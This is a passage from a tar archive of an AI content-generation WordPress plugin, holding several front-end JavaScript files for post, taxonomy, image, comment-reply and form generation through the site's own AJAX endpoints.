totalvar['amazon_keyword'] = aiomatic_roundup; } else if(selected == '4') { var aiomatic_review = jQuery("#aiomatic_review").val(); if(aiomatic_review == '') { alert('Error, "Single Product ASIN or Keyword" required!'); return; } totalvar['review_keyword'] = aiomatic_review; } else if(selected == '5') { var csv_title = jQuery("#csv_title").val();aiomaticloader if(csv_title == '') { alert('Error, "CSV File URLs List" required!'); return; } totalvar['post_title'] = csv_title; } else if(selected == '6') { var aiomatic_topics = jQuery("#aiomatic_listicle_list").val(); if(aiomatic_topics == '') { alert('Error, "Listicle Topic List" required!'); return; } totalvar['post_topic_list'] = aiomatic_topics; } ctrl.prop( "disabled", true ); var origvar = ctrl.html(); var myInterval = aiomatic_button_displayTimer(ctrl); var aiomaticloader = jQuery("#aiomaticloader"); aiomaticloader.css('visibility', 'visible'); if(aiomatic_ajax_object.no_jobs == '1') { jQuery.ajax({ type: 'POST', url: aiomatic_ajax_object.ajax_url, data: { action: 'aiomatic_execute_single_advanced', post_data: totalvar, selected: selected, nonce: aiomatic_ajax_object.nonce }, success: function(response) { clearInterval(myInterval); aiomaticloader.css('visibility', 'hidden'); ctrl.html(origvar); ctrl.prop( "disabled", false ); if (response.success) { jQuery("#title_advanced").val(response.data.title); if(typeof(tinyMCE) != "undefined") { if(window.parent.tinymce.get('post_content_advanced') === undefined || window.parent.tinymce.get('post_content_advanced') === null) { $("#post_content_advanced").val(response.data.content); } else { window.parent.tinymce.get('post_content_advanced').setContent(response.data.content); } } else { $("#post_content_advanced").val(response.data.content); } } else { alert('Error: ' + response.data.message); } }, error: function(error) { clearInterval(myInterval); aiomaticloader.css('visibility', 'hidden'); ctrl.html(origvar); ctrl.prop( "disabled", false ); alert("An error occurred while generating content: " + JSON.stringify(error)); } }); } else { jQuery.ajax({ type: 'POST', url: aiomatic_ajax_object.ajax_url, data: { action: 'aiomatic_execute_single_advanced_job', post_data: totalvar, selected: selected, nonce: aiomatic_ajax_object.nonce }, success: function(response) { if (response.success) { if(response.data.job_id !== undefined) { aiomaticPollJob(response.data.job_id, myInterval, aiomaticloader, ctrl, origvar); } else { alert('Failed to queue job: ' + JSON.stringify(response.data)); clearInterval(myInterval); aiomaticloader.css('visibility', 'hidden'); ctrl.html(origvar); ctrl.prop( "disabled", false ); } } else { alert('Error: ' + response.data.message); clearInterval(myInterval); aiomaticloader.css('visibility', 'hidden'); ctrl.html(origvar); ctrl.prop( "disabled", false ); } }, error: function(error) { clearInterval(myInterval); aiomaticloader.css('visibility', 'hidden'); ctrl.html(origvar); ctrl.prop( "disabled", false ); alert("An error occurred while generating content using jobs: " + JSON.stringify(error)); } }); } }); var previousPollStatus = ''; var sameStatusPoll = 0; function aiomaticPollJob(job_id, myInterval, aiomaticloader, ctrl, origvar) { jQuery.ajax({ type: 'POST', url: aiomatic_ajax_object.ajax_url, data: { action: 'aiomatic_poll_single_advanced_job', job_id: job_id, nonce: aiomatic_ajax_object.nonce }, success: function(response) { var json_resp = JSON.parse(response); if (json_resp.status === 'completed') { if(json_resp.data.title !== undefined) { jQuery("#title_advanced").val(json_resp.data.title); } else { console.log('No title returned ' + JSON.stringify(json_resp)); } if(json_resp.data.title !== undefined) { if(typeof(tinyMCE) != "undefined") { if(window.parent.tinymce.get('post_content_advanced') === undefined || window.parent.tinymce.get('post_content_advanced') === null) { $("#post_content_advanced").val(json_resp.data.content); } else { window.parent.tinymce.get('post_content_advanced').setContent(json_resp.data.content); } } else { $("#post_content_advanced").val(json_resp.data.content); } } else { console.log('No content returned ' + JSON.stringify(json_resp)); } clearInterval(myInterval); aiomaticloader.css('visibility', 'hidden'); ctrl.html(origvar); ctrl.prop( "disabled", false ); jQuery("#aiomatic-status-loader").html(''); var post_publish = document.getElementById("post_publish_advanced"); post_publish.disabled = false; } else { if (json_resp.status === 'pending') { if(json_resp.data.step !== undefined) { if(previousPollStatus == json_resp.data.step) { sameStatusPoll++; } else { sameStatusPoll = 0; previousPollStatus = json_resp.data.step; } var textAppend = ''; if(sameStatusPoll >= 15) { textAppend = ', this is taking longer than usual...'; } else { if(sameStatusPoll >= 30) { textAppend = ', probably your server is not responding. Check max_execution_time and other server timeouts...'; } } jQuery("#aiomatic-status-loader").html(json_resp.data.step + textAppend); } // If job is not yet complete, poll again after a delay setTimeout(function() { aiomaticPollJob(job_id, myInterval, aiomaticloader, ctrl, origvar); }, 4000); // Poll every 4 seconds } else { if(json_resp.status === 'failed') { alert('Failed to run job: ' + json_resp.data); clearInterval(myInterval); aiomaticloader.css('visibility', 'hidden'); ctrl.html(origvar); ctrl.prop( "disabled", false ); jQuery("#aiomatic-status-loader").html(''); } else { alert('Unknown job state: ' + response); clearInterval(myInterval); aiomaticloader.css('visibility', 'hidden'); ctrl.html(origvar); ctrl.prop( "disabled", false ); jQuery("#aiomatic-status-loader").html(''); } } } }, error: function(error) { alert("An error occurred while polling job: " + JSON.stringify(error)); clearInterval(myInterval); aiomaticloader.css('visibility', 'hidden'); ctrl.html(origvar); ctrl.prop( "disabled", false ); jQuery("#aiomatic-status-loader").html(''); } }); } });������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/taxonomy.js���������������������������������������������������������������������������������0000644�����������������00000012535�14757771437�0010503 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������"use strict"; jQuery(document).ready(function($) { function aiomaticLoading(btn){ btn.attr('disabled','disabled'); if(!btn.find('aiomatic-jumping-dots').length){ btn.append('<span class="aiomatic-jumping-dots"> <span class="aiomatic-dot-1">.</span><span class="aiomatic-dot-2">.</span><span class="aiomatic-dot-3">.</span></span>'); } btn.find('.aiomatic-jumping-dots').css('visibility','unset'); } function aiomaticRmLoading(btn){ btn.removeAttr('disabled'); btn.find('.aiomatic-jumping-dots').remove(); } function aiomaticSetEditorContent(editorId, content) { if (typeof tinyMCE !== 'undefined') { var editor = tinyMCE.get(editorId); if (editor) { editor.setContent(content); } else { jQuery('#' + editorId).val(content); } } else { jQuery('#' + editorId).val(content); } } $('#delete-link').append('<span id="aiomatic-button-span"> <button id="aiomatic-tax-button" class="button">' + AICustomButtonData.writeMessage + '</button>   ' + AICustomButtonData.moreSettings + '</span'); $('#aiomatic-tax-button').on('click', function(e) { e.preventDefault(); var descr = jQuery("#description"); if(descr.length) { document.getElementById('aiomatic-tax-button').setAttribute('disabled','disabled'); aiomaticLoading(jQuery('#aiomatic-tax-button')); $.ajax({ url: AICustomButtonData.ajaxUrl, type: 'POST', data: { action: 'aiomatic_write_tax_description', taxonomy: AICustomButtonData.taxonomy, tag_ID: AICustomButtonData.tagID, nonce: AICustomButtonData.nonce }, success: function(res) { if(res.success == true) { document.getElementById('aiomatic-tax-button').removeAttribute('disabled'); aiomaticRmLoading(jQuery('#aiomatic-tax-button')); aiomaticSetEditorContent('description', res.data.content); } else { alert('Failed to generate description, please try again later'); console.log('Taxonomy description generator returned an error: ' + JSON.stringify(res)); document.getElementById('aiomatic-tax-button').removeAttribute('disabled'); aiomaticRmLoading(jQuery('#aiomatic-tax-button')); } }, error: function(xhr, status, error) { document.getElementById('aiomatic-tax-button').removeAttribute('disabled'); aiomaticRmLoading(jQuery('#aiomatic-tax-button')); alert('Failed to generate the taxonomy description, please try again later!'); console.log('Error: ' + error); } }); } else { var descr = jQuery("#rank_math_description_editor"); if(descr.length) { document.getElementById('aiomatic-tax-button').setAttribute('disabled','disabled'); aiomaticLoading(jQuery('#aiomatic-tax-button')); $.ajax({ url: AICustomButtonData.ajaxUrl, type: 'POST', data: { action: 'aiomatic_write_tax_description', taxonomy: AICustomButtonData.taxonomy, tag_ID: AICustomButtonData.tagID, nonce: AICustomButtonData.nonce }, success: function(res) { if(res.success == true) { document.getElementById('aiomatic-tax-button').removeAttribute('disabled'); aiomaticRmLoading(jQuery('#aiomatic-tax-button')); aiomaticSetEditorContent('rank_math_description_editor', res.data.content); } else { alert('Failed to generate SEO description, please try again later'); console.log('Taxonomy SEO description generator returned an error: ' + JSON.stringify(res)); document.getElementById('aiomatic-tax-button').removeAttribute('disabled'); aiomaticRmLoading(jQuery('#aiomatic-tax-button')); } }, error: function(xhr, status, error) { document.getElementById('aiomatic-tax-button').removeAttribute('disabled'); aiomaticRmLoading(jQuery('#aiomatic-tax-button')); alert('Failed to generate the taxonomy rank_math_description, please try again later!'); console.log('Error: ' + error); } }); } } }); });�������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/aiomatic-stable-image.js��������������������������������������������������������������������0000644�����������������00000014544�14757771437�0012745 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; var { registerBlockType } = wp.blocks; var gcel = wp.element.createElement; registerBlockType( 'aiomatic-automatic-ai-content-writer/aiomatic-stable-image', { title: 'AIomatic Stable Diffusion Image', icon: 'text', category: 'embed', attributes: { seed_expre : { default: '', type: 'string', }, image_size : { default: '512x512', type: 'string', }, copy_locally : { default: 'off', type: 'string', }, cache_seconds : { default: '2592000', type: 'string', } }, keywords: ['list', 'posts', 'aiomatic'], edit: (function( props ) { var seed_expre = props.attributes.seed_expre; var image_size = props.attributes.image_size; var cache_seconds = props.attributes.cache_seconds; var copy_locally = props.attributes.copy_locally; function updateMessage2( event ) { props.setAttributes( { seed_expre: event.target.value} ); } function updateMessage3( event ) { props.setAttributes( { image_size: event.target.value} ); } function updateMessage4( event ) { props.setAttributes( { cache_seconds: event.target.value} ); } function updateMessage5( event ) { props.setAttributes( { copy_locally: event.target.value} ); } return gcel( 'div', { className: 'coderevolution_gutenberg_div' }, gcel( 'h4', { className: 'coderevolution_gutenberg_title' }, 'AIomatic Stable Diffusion Image ', gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'This block is used to generate images.' ) ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Seed Expression: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set a seed expression for the image. You can also use the following shortcodes: %%post_title%%, %%post_content%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it\'s assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the seed command. If you leave this blank, the plugin will automatically use the content, excerpt or title of the post where this block is added.' ) ), gcel( 'textarea', { rows:1,placeholder:'Short introduction of the image', value: seed_expre, onChange: updateMessage2, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Image Size: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the generated image size.' ) ), gcel( 'select', { value: image_size, onChange: updateMessage3, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: '512x512'}, '512x512' ), gcel( 'option', { value: '1024x1024'}, '1024x1024' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Copy Locally: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Do you want to copy the image locally?' ) ), gcel( 'select', { value: copy_locally, onChange: updateMessage5, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'off'}, 'off' ), gcel( 'option', { value: 'on'}, 'on' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Caching Period For AI Generated Content (Seconds): ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set the caching period for AI generated content in seconds.' ) ), gcel( 'input', { type:'number',min:0,placeholder:'Caching period in seconds', value: cache_seconds, onChange: updateMessage4, className: 'coderevolution_gutenberg_input' } ) ); }), save: (function( props ) { return null; }), } );������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/openai-midjourney-image-ajax.js�������������������������������������������������������������0000644�����������������00000013202�14757771437�0014254 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; function midjourneyimagefunct() { jQuery('#aimidjourneyimagesubmitbut').attr('disabled', true); var instructionx = jQuery('#aiomatic_midjourney_image_instruction'); var instruction = instructionx.val(); if(instruction == '') { jQuery('#aimidjourneyimagesubmitbut').attr('disabled', false); jQuery('#openai-midjourney-image-response').html('<div class="text-primary highlight-text-fail" role="status">Please add a prompt in the input field.</div>'); console.log('Instruction cannot be empty.'); return; } var image_placeholder = aiomatic_midjourney_image_ajax_object.image_placeholder; jQuery("#aiomatic_midjourney_image_response").attr("src", image_placeholder).fadeIn(); var image_size = aiomatic_midjourney_image_ajax_object.image_size; var user_token_cap_per_day = aiomatic_midjourney_image_ajax_object.user_token_cap_per_day; var user_id = aiomatic_midjourney_image_ajax_object.user_id; // Show the loading animation jQuery('#openai-midjourney-image-response').html('<div class="automaticx-dual-ring"></div>'); if(image_size == 'default' || image_size == '') { image_size = jQuery( "#model-midjourney-size-selector option:selected" ).text(); } jQuery.ajax({ type: 'POST', url: aiomatic_midjourney_image_ajax_object.ajax_url, data: { action: 'aiomatic_midjourney_image_ajax_submit', instruction: instruction, image_size: image_size, user_token_cap_per_day: user_token_cap_per_day, nonce: aiomatic_midjourney_image_ajax_object.nonce, user_id: user_id }, success: function(response) { if(typeof response === 'string' || response instanceof String) { try { var responset = JSON.parse(response); response = responset; } catch (error) { console.error("An error occurred while parsing the JSON: " + error + ' Json: ' + response); } } if(response.status == 'success') { if(response.data == '') { jQuery('#openai-midjourney-image-response').html('<div class="text-primary" role="status">No image was returned. Please try using a different text input.</div>'); jQuery("#aiomatic_midjourney_image_response").attr("src", '').fadeIn(); } else { jQuery("#aiomatic_midjourney_image_response").attr("src", response.data).fadeIn(); jQuery('#openai-midjourney-image-response').html(''); } } else { if(typeof response.msg !== 'undefined') { jQuery('#openai-midjourney-image-response').html('<div class="text-primary highlight-text-fail" role="status">' + response.msg + '</div>'); } else { console.log('Error: ' + response); jQuery('#openai-midjourney-image-response').html('<div class="text-primary highlight-text-fail" role="status">Processing failed, please try again</div>'); } jQuery("#aiomatic_midjourney_image_response").attr("src", '').fadeIn(); } jQuery('#aimidjourneyimagesubmitbut').attr('disabled', false); }, error: function(error) { console.log('Error: ' + error.responseText); jQuery("#aiomatic_midjourney_image_response").attr("src", '').fadeIn(); // Clear the response container jQuery('#openai-midjourney-image-response').html('<div class="text-primary highlight-text-fail" role="status">Failed to image content, try again later.</div>'); // Enable the submit button jQuery('#aimidjourneyimagesubmitbut').attr('disabled', false); }, }); } var recognition; var recognizing = false; jQuery(document).ready(function() { if(!jQuery('#aiomatic_midjourney_image_templates').length) { // Check if the browser supports the Web Speech API if ('webkitSpeechRecognition' in window) { recognition = new webkitSpeechRecognition(); recognition.continuous = true; recognition.interimResults = true; // Start the speech recognition when the button is clicked jQuery('#openai-midjourney-image-speech-button').on('click', function() { if (recognizing) { recognition.stop(); recognizing = false; } else { recognition.start(); recognizing = true; } }); // Handle the speech recognition results recognition.onresult = function(event) { for (var i = event.resultIndex; i < event.results.length; ++i) { if (event.results[i].isFinal) { jQuery('#aiomatic_midjourney_image_instruction').val(jQuery('#aiomatic_midjourney_image_instruction').val() + " " + event.results[i][0].transcript); } } }; } } else { jQuery('#aiomatic_midjourney_image_templates').on('change', function() { jQuery('#aiomatic_midjourney_image_instruction').val(jQuery( "#aiomatic_midjourney_image_templates" ).val()); }); } });����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/ai-commenter.js�����������������������������������������������������������������������������0000644�����������������00000005541�14757771437�0011204 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; jQuery(document).ready(function () { if(jQuery('#reviews-filter').length) { jQuery('table.product-reviews tr.comment').each(function (idx, item) { let id = jQuery(item).find('.check-column input[type=checkbox]').val(); if(id !== undefined) { jQuery(item).find('.has-row-actions .row-actions').append('<span class="aiomatic_commenter"><a id="aiomatic_comment_replier" class="aiomatic_comment_replier" href="javascript:void(0)" data-id="' + id + '">' + mycommentssettings.aireplytext + '</a></span>'); } }); } var nowprocessing = false; jQuery(document).on('click','.aiomatic_commenter', function (e) { var btn = jQuery(this).find('a'); if(nowprocessing === true) { alert(mycommentssettings.processingtext); } else { var id = btn.attr('data-id'); if (id === '' || id === undefined) { alert(mycommentssettings.cannotfind); } else { nowprocessing = jQuery.ajax({ url: mycommentssettings.ajaxurl, data: { action: 'aiomatic_comment_replier', zid: id, nonce: mycommentssettings.nonce }, type: 'POST', dataType: 'JSON', beforeSend: function () { btn.html(mycommentssettings.working) }, success: function (res) { btn.html(mycommentssettings.aireplytext); nowprocessing = false; if(res.success == true) { var myA = jQuery('button[data-comment-id="' + id + '"][data-action="replyto"]'); if(myA !== null && myA !== undefined) { myA.click(); jQuery('#replycontent').val(res.data.content); } else { console.log('Cannot find reply button for comment ID: ' + id); } } else { alert('Error in comment generator: ' + JSON.stringify(res)); } }, error: function () { nowprocessing = false; } }); } } }); });���������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/forms-front.js������������������������������������������������������������������������������0000644�����������������00000165722�14757771437�0011110 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������"use strict"; function aiomaticCountChars(textbox, counter) { var counterElement = document.getElementById(counter); if (!counterElement) { return; } if (typeof tinymce !== 'undefined' && tinymce.get(textbox)) { textboxElement = tinymce.get(textbox).getContent({format: 'text'}); counterElement.innerHTML = textboxElement.length; return; } var textboxElement = document.getElementById(textbox); if (!textboxElement) { return; } var count = textboxElement.value.length; counterElement.innerHTML = count; } jQuery(document).ready(function ($) { var model_type = 'gpt'; function aiomatic_nl2br (str, is_xhtml) { if (typeof str === 'undefined' || str === null) { return ''; } var breakTag = (is_xhtml || typeof is_xhtml === 'undefined') ? '<br />' : '<br>'; return (str + '').replace(/([^>\r\n]?)(\r\n|\n\r|\r|\n)/g, '$1' + breakTag + '$2'); } function aiChatUploadDataomaticForm(aiomatic_completition_ajax_object, uniqid, input_text, remember_string, user_question, function_result) { var formData = new FormData(); formData.append('uniqid', uniqid); formData.append('input_text', input_text); formData.append('remember_string', remember_string); formData.append('user_question', user_question); if(function_result !== null) { formData.append('function_result', function_result); } formData.append('action', 'aiomatic_save_chat_data'); formData.append('nonce', aiomatic_completition_ajax_object.persistentnonce); return jQuery.ajax({ url: aiomatic_completition_ajax_object.ajax_url, async: false, type: 'POST', data: formData, contentType: false, processData: false }); }; function aiomatic_mergeDeep(target, source) { Object.keys(source).forEach(key => { if (source[key] && typeof source[key] === 'object' && key !== 'arguments') { if (!target[key]) { target[key] = {}; } aiomatic_mergeDeep(target[key], source[key]); } else { if (key === 'arguments') { if (!target[key]) { target[key] = ''; } target[key] += source[key]; } else { target[key] = source[key]; } } }); } function AiomaticValidateEmail(input) { var validRegex = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$/; if (input.match(validRegex)) { return true; } else { return false; } } function AiomaticisValidUrl(string) { try { new URL(string); return true; } catch (err) { return false; } } function aiomatichtmlDecode(input) { var doc = new DOMParser().parseFromString(input, "text/html"); return doc.documentElement.textContent; } function aiomaticBasicEditor(dataId){ var basicEditor = true; if (typeof tinyMCE === 'undefined' || tinyMCE === null) { return basicEditor; } var editor = tinyMCE.get('aiomatic-prompt-result' + dataId); var inputp = document.getElementById('wp-aiomatic-prompt-result' + dataId + '-wrap'); if ( inputp !== null && inputp.classList.contains('tmce-active') && editor ) { basicEditor = false; } return basicEditor; } function aiomaticSetContent(dataId, value){ if (aiomaticBasicEditor(dataId)) { document.getElementById('aiomatic-prompt-result' + dataId).value = aiomatichtmlDecode(value); } else { var editor = tinyMCE.get('aiomatic-prompt-result' + dataId); editor.setContent(aiomatichtmlDecode(value)); } aiomaticCountChars('aiomatic-prompt-result' + dataId,'charCount_span' + dataId); } function aiomaticLoadingBtn(btn){ btn.attr('disabled', ''); btn.addClass('button--loading'); } function aiomaticRmLoading(btn){ btn.removeAttr('disabled'); btn.removeClass('button--loading'); } function aiSimpleDecryptWithKey(encryptedText, key) { var decodedData = atob(encryptedText); var result = ''; for (var i = 0, len = decodedData.length; i < len; i++) { var shift = key.charCodeAt(i % key.length); var charCode = (decodedData.charCodeAt(i) - shift + 256) % 256; var char = String.fromCharCode(charCode); result += char; } return result; } var eventGenerator = false; var aiomatic_generator_working = false; $(document).on('click','.aiomatic_copy_btn', function(e) { e.preventDefault(); var editorId = $(this).attr('data-id'); if(editorId !== undefined && editorId !== null) { var content; if (tinyMCE.get('aiomatic-prompt-result' + editorId)) { content = tinyMCE.get('aiomatic-prompt-result' + editorId).getContent(); } else { content = $('#aiomatic-prompt-result' + editorId).val(); } if(navigator.clipboard !== undefined) { navigator.clipboard.writeText(content).then(function() { alert('Content copied to clipboard'); }, function(err) { console.error('Could not copy text: ', err); }); } else { console.error('Failed to copy text'); } } }); function aiomaticScrapeData(value) { return new Promise((resolve, reject) => { jQuery.ajax({ type: 'POST', url: aiomatic_completition_ajax_object.ajax_url, data: { action: 'aiomatic_scrape_form_submit', scrapeurl: value, nonce: aiomatic_completition_ajax_object.nonce }, success: function(response) { if (typeof response === 'string' || response instanceof String) { try { var responset = JSON.parse(response); response = responset; } catch (error) { reject("An error occurred while parsing the JSON: " + error + ' Json: ' + response); return; } } resolve(response); }, error: function(error) { reject(error); } }); }); } $(document).on('click','.aiomatic-generate-button', async function(e) { e.preventDefault(); var targetButton = e.target.closest('.aiomatic-generate-button'); if (targetButton) { var dataId = targetButton.getAttribute('data-id'); } else { jQuery('#openai-response').html('<div class="text-primary highlight-text-fail" role="status">Failed to process form response, please try again later.</div>'); console.log('aiomatic-generate-button not found!'); return; } var downloadButton = jQuery("#download_button" + dataId); downloadButton.hide(); jQuery('#openai-response' + dataId).html('<div class="text-primary highlight-text-fail" role="status"></div>'); var aiomaticGenerateBtn = $('#aiomatic-generate-button' + dataId); if (aiomaticGenerateBtn.length == 0) { jQuery('#openai-response' + dataId).html('<div class="text-primary highlight-text-fail" role="status">There was an error during processing, please try again later.</div>'); return; } var aiomaticMaxToken = document.getElementById('aiomatic-engine' + dataId); var max_tokens = aiomaticMaxToken.value; var aiomaticTemperature = document.getElementById('aiomatic-temperature' + dataId); var aiomaticTypeInput = document.getElementById('aiomatic-form-type' + dataId); var aiomaticType = aiomaticTypeInput.value; var temperature = aiomaticTemperature.value; var aiomaticTopP = document.getElementById('aiomatic-top_p' + dataId); var top_p = aiomaticTopP.value; var aiomaticFP = document.getElementById('aiomatic-frequency_penalty' + dataId); var frequency_penalty = aiomaticFP.value; var aiomaticPP = document.getElementById('aiomatic-presence_penalty' + dataId); var presence_penalty = aiomaticPP.value; var error_message = false; var aiomaticPromptTitle = document.getElementById('aiomatic-prompt' + dataId); var prompt = aiomaticPromptTitle.value; prompt = aiSimpleDecryptWithKey(prompt, aiomatic_completition_ajax_object.secretkey); var model = jQuery("#aiomatic-engine" + dataId).val(); if(aiomatic_completition_ajax_object.claude_models.includes(model)) { model_type = 'claude'; } else { if(aiomatic_completition_ajax_object.google_models.includes(model)) { model_type = 'google'; } else { if(aiomatic_completition_ajax_object.huggingface_models.includes(model)) { model_type = 'huggingface'; } } } var instant_response = jQuery("#aiomatic-streaming" + dataId).val(); var assistant_id = jQuery("#aiomatic-assistant-id" + dataId).val(); if(assistant_id === null) { assistant_id = ''; } if(prompt === ''){ error_message = 'Please insert prompt'; } else if(max_tokens === ''){ error_message = 'Please enter max tokens'; } else if(parseFloat(max_tokens) < 1 || parseFloat(max_tokens) > 8000){ error_message = 'Please enter a valid max tokens value between 1 and 8000'; } else if(temperature === ''){ error_message = 'Please enter temperature'; } else if(parseFloat(temperature) < 0 || parseFloat(temperature) > 2){ error_message = 'Please enter a valid temperature value between 0 and 2'; } else if(top_p === ''){ error_message = 'Please enter Top P'; } else if(parseFloat(top_p) < 0 || parseFloat(top_p) > 1){ error_message = 'Please enter a valid Top P value between 0 and 1'; } else if(frequency_penalty === ''){ error_message = 'Please enter frequency penalty'; } else if(parseFloat(frequency_penalty) < -2 || parseFloat(frequency_penalty) > 2){ error_message = 'Please enter a valid frequency penalty value between -2 and 2'; } else if(presence_penalty === ''){ error_message = 'Please enter presence penalty'; } else if(parseFloat(presence_penalty) < -2 || parseFloat(presence_penalty) > 2){ error_message = 'Please enter a valid presence penalty value between -2 and 2'; } const scrapePromises = []; let formin = $('.aiomatic-form-input' + dataId); formin.each(function(){ let name = $(this).attr('aiomatic-name'); let value = $(this).val(); let type = $(this).attr('data-type'); let min = $(this).attr('data-min'); let max = $(this).attr('data-max'); let required = $(this).attr('data-required'); let limit = $(this).attr('data-limit'); if(aiomatic_completition_ajax_object.min_len != '') { if(value.length < parseInt(aiomatic_completition_ajax_object.min_len, 10)) { error_message = name + ': You need to enter a longer input value, minimum is: ' + aiomatic_completition_ajax_object.min_len; } } if(aiomatic_completition_ajax_object.max_len != '') { if(value.length > parseInt(aiomatic_completition_ajax_object.max_len, 10)) { error_message = name + ': You need to enter a shorter input value, maximum is: ' + aiomatic_completition_ajax_object.max_len; } } if(min != '') { if(min > parseInt(value, 10)) { error_message = name + ': You need to enter a value larger than ' + min; } } if(max != '') { if(max < parseInt(value, 10)) { error_message = name + ': You need to enter a value smaller than ' + max; } } if(type == 'email') { if(!AiomaticValidateEmail(value)) { error_message = name + ': Invalid email address submitted: ' + value; } } if(type == 'url' || type == 'scrape') { if(!AiomaticisValidUrl(value)) { error_message = name + ': Invalid URL submitted: ' + value; } } if(required == 'yes' && value == '') { error_message = name + ': This field is required'; } if(type == 'scrape') { aiomaticLoadingBtn(aiomaticGenerateBtn); scrapePromises.push( aiomaticScrapeData(value).then(response => { if (response.status == 'success') { if (response.data == '') { error_message = name + ': Cannot scrape URL, no content found.'; } else { if (typeof limit !== 'undefined' && limit !== false && limit !== null && limit !== '') { limit = parseInt(limit, 10); if (!isNaN(limit) && limit > 0) { if (response.data.length > limit) { response.data = response.data.substring(0, limit); } } } prompt = prompt.replace('%%' + name + '%%', response.data); } } else { if (typeof response.msg !== 'undefined') { error_message = name + ': Error in scraping: ' + response.msg; } else { error_message = name + ': Scraping failed, please try again later.'; } } }).catch(error => { error_message = name + ': Error in request: ' + error.responseText; }).finally(() => { aiomaticRmLoading(aiomaticGenerateBtn); }) ); } else { if (typeof limit !== 'undefined' && limit !== false && limit !== null && limit !== '') { limit = parseInt(limit, 10); if (!isNaN(limit) && limit > 0) { if (value.length > limit) { value = value.substring(0, limit); } } } prompt = prompt.replace('%%' + name + '%%', value); } }); await Promise.all(scrapePromises); if(prompt === '') { error_message = 'Empty prompt was returned'; } if(error_message) { jQuery('#openai-response' + dataId).html('<div class="text-primary highlight-text-fail" role="status">' + error_message + '</div>'); console.log('AI Form processing failed: ' + error_message); jQuery("#aiomatic_form_response" + dataId).attr("src", '').fadeIn(); aiomaticRmLoading(aiomaticGenerateBtn); return; } else { aiomaticLoadingBtn(aiomaticGenerateBtn); var image_placeholder = aiomatic_completition_ajax_object.image_placeholder; jQuery("#aiomatic_form_response" + dataId).attr("src", image_placeholder).fadeIn(); if(aiomaticType == 'text') { aiomaticSetContent(dataId, ''); } document.getElementById('openai-response' + dataId).innerHTML = ''; if(instant_response == 'stream' && aiomaticType == 'text') { if(aiomatic_generator_working === true) { console.log('AI already processing a request!'); jQuery("#aiomatic_form_response" + dataId).attr("src", '').fadeIn(); jQuery('#openai-response' + dataId).html('<div class="text-primary highlight-text-fail" role="status">Failed to generate content, try again later.</div>'); aiomaticRmLoading(aiomaticGenerateBtn); return; } var enable_god_mode = 'off'; aiomatic_generator_working = true; var count_line = 0; var response_data = ''; var pdf_data = ''; var ai_thread_id = ''; var user_token_cap_per_day = ''; var remember_string = ''; var user_question = prompt; var input_text = prompt; var vision_file = ''; var mystream = aiomatic_completition_ajax_object.stream_url; if(aiomatic_completition_ajax_object.claude_models.includes(model)) { mystream = aiomatic_completition_ajax_object.stream_url_claude; } var eventURL = mystream + '&pdf_data=' + encodeURIComponent(pdf_data) + '&user_token_cap_per_day=' + encodeURIComponent(user_token_cap_per_day) + '&user_id=' + encodeURIComponent(aiomatic_completition_ajax_object.user_id) + '&frequency=' + encodeURIComponent(frequency_penalty) + '&presence=' + encodeURIComponent(presence_penalty) + '&top_p=' + encodeURIComponent(top_p) + '&temp=' + encodeURIComponent(temperature) + '&model=' + encodeURIComponent(model) + '&assistant_id=' + encodeURIComponent(assistant_id) + '&thread_id=' + encodeURIComponent(ai_thread_id) + '&input_text=' + encodeURIComponent(input_text) + '&remember_string=' + encodeURIComponent(remember_string) + '&user_question=' + encodeURIComponent(user_question) + '&enable_god_mode=' + encodeURIComponent(enable_god_mode); if(vision_file != '') { eventURL += '&vision_file=' + encodeURIComponent(vision_file); } if(eventURL.length > 2080) { console.log('URL too long, using alternative event method'); var unid = "id" + Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15);; 